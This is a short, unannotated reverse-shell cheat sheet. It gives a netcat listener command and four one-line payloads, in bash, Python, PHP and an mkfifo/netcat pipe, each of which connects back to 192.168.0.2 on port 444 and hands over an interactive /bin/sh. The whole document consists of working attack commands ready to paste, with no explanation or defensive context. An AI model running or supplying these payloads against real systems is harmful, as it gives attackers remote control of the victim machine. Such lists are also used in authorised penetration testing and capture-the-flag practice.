client
nc -l 444

server
bash -i >& /dev/tcp/192.168.0.2/444 0>&1 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.2",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


php -r '$sock=fsockopen("192.168.0.2",444);exec("/bin/sh -i <&3 >&3 2>&3");'


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.2 444 >/tmp/f




